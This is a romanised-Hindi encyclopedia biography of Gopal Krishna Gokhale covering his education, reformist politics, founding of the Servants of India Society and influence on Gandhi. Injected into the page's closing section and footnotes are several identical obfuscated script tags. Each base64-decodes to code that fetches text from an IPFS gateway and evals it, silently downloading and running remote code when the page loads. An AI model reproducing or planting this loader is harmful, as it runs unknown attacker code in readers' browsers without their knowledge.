गोपाल कृष्ण गोखले

भारत डिस्कवरी प्रस्तुति
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gopal krishna gokhale apane samay ke advitiy (janm: 9 mee 1866 ee., kotaluk-maharashtr - mrityu: 19 pharavari, 1915ee.) sansadavidh aur rashtrasevi the. yah ek svatantrata senani, samajasevi, vicharak evan sudharak bhi the. 1857 ke svatantrata sangram ke nau varsh bad gokhale ji ka janm hua, yah vah samay tha jab svatantrata sangram asaphal avashy ho gaya tha, kiantu bharat ke adhikaansh deshavasiyoan ke hriday mean svatantrata ki ag dhadhakane lagi thi.

jivan parichay

gopal krishna gokhale ka janm 9 mee, 1866 ee. ko maharashtr mean ratnagiri zile ke kotaluk namak gram mean hua tha. apake pita krishnarav shridhar gokhale ek garib kiantu svabhimani brahman the. pita ke asamayik nidhan ne gopalkrishna ko bachapan se hi sahishnu aur karmath bana diya tha.[1] shiksha poori karane par gopalkrishna kuchh din nyoo ianglish haee skool mean adhyapak rahe. bad mean poona ke prasiddh phargyoosan k aaulej mean itihas aur arthashastr ke pradhyapak ban ge.

eemanadari

gopal krishna tab tisari kaksha ke chhatr the. adhyapak ne jab bachchoan ke grihakary ki k aaupiyaan jaanchi, to gopal krishna ke alava kisi ke javab sahi nahian the. unhoanne gopal krishna ko jab shabashi di, to gopal krishna ki aankhoan se ashrudhara bahane lagi. sabhi hairam ho uthe. grihakary unhoanne apane b de bhaee se karavaya tha. ek tarah se shuruat thi yah us nishtha ki, jisake adhar par gokhale ne age chalakar apane char siddhaantoan ki ghoshana ki-

  1. saty ke prati adigata
  2. apani bhool ki sahaj svikrit
  3. lakshy ke prati nishtha
  4. naitik adarshoan ke prati adarabhav

vakapatuta ka kamal

bal gangadhar tilak se milane ke bad gokhale ke jivan ko nee disha mil gee thi. gokhale ne pahali bar kolhapur mean ek sarvajanik sabha ko sanbodhit kiya tha-sanh 1885 mean. gokhale ka bhashan sunakar shrota mantramugdh ho ge the, bhashan ka vishay tha- aangreji hukoomat ke adhin bharat.[2]

sarvajanik kary

nyayamoorti mahadev govind rana de ke sanpark mean ane se gopal krishna sarvajanik karyoan mean ruchi lene lage. un dinoan poona ki 'sarvajanik sabha' ek pramukh rajanitik sanstha thi. gokhale ne usake mantri ke roop mean kary kiya. isase unake sarvajanik karyoan ka vistar hua. kaangres ki sthapana ke bad ve us sanstha se ju d ge. kaangres ka 1905 ka banaras adhiveshan gokhale ki hi adhyakshata mean hua tha. un dinoan desh ki rajaniti mean do vicharadharaoan ka pradhany tha. lokamany tilak tatha lala lajapat ray jaise neta garam vicharoan ke the. savaidhanik riti se desh ko svashasan ki or le jane mean vishvas rakhane vale gokhale naram vicharoan ke mane jate the. apaka kraanti mean nahian, sudharoan mean vishvas tha.

sthapana

mahadev goviand ranade ke shishy gopal krishna gokhale ko vittiy mamaloan ki advitiy samajh aur us par adhikarapoorvak bahas karane ki kshamata se unhean bharat ka gledaston kaha jata hai. ve bharatiy rashtriy kaangres mean sabase prasiddh naramapanthi the. 1902 ee. mean gokhale vaisaray ki lejisletiv kauansil ke sadasy banae ge. 1905 mean gokhale ne bharat sevak samaj (saraveants aauf iandiya sosaiti) ki sthapana ki. taki naujavanoan ko sarvajanik jivan ke lie prashikshit kiya ja sake. unaka manana tha ki vaijnanik aur takaniki shiksha bharat ki mahatvapoorn avashyakata hai. isake sadasyoan mean kee pramukh vyakti the. unhean nam matr ke vetan par jivan-bhar desh seva ka vrat lena hota tha. gokhale ne rajakiy tatha sarvajanik karyoan ke lie 7 bar ianglaind ki yatra ki.

sudharak ki k di bhasha

'kesari' aur 'maratha' akhabaroan ke madhyam se tilak jahaan aangrezi hukoomat ke viruddh l d rahe the, vahian 'sudharak' ko gokhale ne apani l daee ka madhyam banaya hua tha. 'kesari' ki apeksha 'sudharak' ka roop akramak tha. sainikoan dvara balatkar ka shikar huee do mahilaoan ne jab atmahatya kar li, to 'sudharak' ne bharatiyoan ko k di bhasha mean dhikkara tha- tumhean dhikkar hai, jo apani mata-bahanoan par hota hua atyachar chuppi sadhakar dekh rahe ho. itane nishkriy bhav se to pashu bhi atyachar sahan nahian karate. in shabdoan ne bharat mean hi nahian, ianglaiand ke sabhy samaj mean bhi khalabali macha di thi. 'sarvent aauf sosayati' ki sthapana gokhale dvara kiya gaya mahattvapoorn kary tha. is tarah gokhale ne rajaniti ko adhyatmikata ke dhaanche mean dhalane ka anutha kary kiya. is sosaiti ke sadasyoan ko ye 7 shapath grahan karani hoti thian-

  1. vah apane desh ki sarvochch samajhega aur usaki seva mean pran nyochhavar kar dega.
  2. desh seva mean vyaktigat labh ko nahian dekhega.
  3. pratyek bharatavasi ko apana bhaee manega.
  4. jati samaday ka bhed nahian manega.
  5. sosaiti usake aur usake parivar ke lie jo dhanarashi degi, vah usase santusht rahega tatha adhik kamane ki or dhyan nahian dega.
  6. pavitr jivan bitaega. kisi se jhag da nahian karega.
  7. sosayati ka adhikatam sanrakshan karega tatha aisa karate samay sosayati ke uddeshyoan par poora dhyan dega.

gaandhi ji ko mili thi gokhale se prerana

gaandhi ji gokhale ko apana rajanitik guru manate the. apake paramarsh par hi unhoanne sakriy rajaniti mean bhag lene se poorv ek varsh tak desh mean ghoomakar sthiti ka adhyayan karane ka nishchay kiya tha. sabaramati ashram ki sthapana ke lie gokhale ne gaandhi ji ko arthik sahayata di. gokhale sirph gaandhi ji ke hi nahian balki mohammad ali jinna ke bhi rajanitik guru the. gaandhi ji ko ahiansa ke jarie svatantrata sangram ki l daee ki prerana gokhale se hi mili thi. gokhale ki prerana se hi gaandhi ji ne dakshin aphrika mean rangabhed ke khilaph aandolan chalaya. san 1912 mean gaandhi ke amantran par vah khud bhi dakshin aphrika ge aur vahaan jari rangabhed ki ninda ki. jan neta kahe jane vale gokhale naramapanthi sudharavadi the. unhoanne ajadi ki l daee ke sath hi desh mean vyapt chhuachhoot aur jativad ke khilaph aandolan chalaya. vah jivanabhar hindoo muslim ekata ke lie kam karate rahe. mohammad ali jinna ne bhi unhean apana rajanitik guru mana tha. yah bat alag hai ki bad mean jinna gokhale ke adarshoan par kayam nahian rah pae aur desh ke bantavare ke nam par bhari khoonakharaba karaya.[3]

savaidhanik sudhar

vaisaray ki kauansil mean rahate hue gokhale ne kisanoan ki sthiti ki or anek bar dhyan dilaya. ve savaidhanik sudharoan ke lie nirantar jor dete rahe. 'mianto marle sudharoan' ka bahut kuchh shrey gokhale ke pratyanoan ko hai. naram vicharoan ke hote hue desh ke badalate tevar se gokhale bilkul alag nahian the. isalie 'bang bhang' ke virodh mean aranbh mean bahishkar ke sanbandh mean unhoanne kaha tha- yadi sahayog ke sare marg avaruddh ho jaean aur desh ki lok-chetana isake anukool ho, bahishkar ka prayog sarvatha uchit hai.

nidhan

gopal krishna gokhale ka nidhan 19 pharavari, 1915 ee. ko ho gaya. is par gaandhi ji ne kaha tha- rajanitik kshetr mean gokhale mere sabase ooanche adarsh the. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ smaran: gopalkrishna gokhale (hindi) (ech.ti.em.el) jagaran yahoo. abhigaman tithi: 6 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ gopal krishna gokhale (hindi) (pi.ech.pi) bharatiy sahity sangrah. abhigaman tithi: 6 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ gaandhi ji ko mili thi gokhale se prerana (hindi) (ech.ti.em.el) samay laiv. abhigaman tithi: 6 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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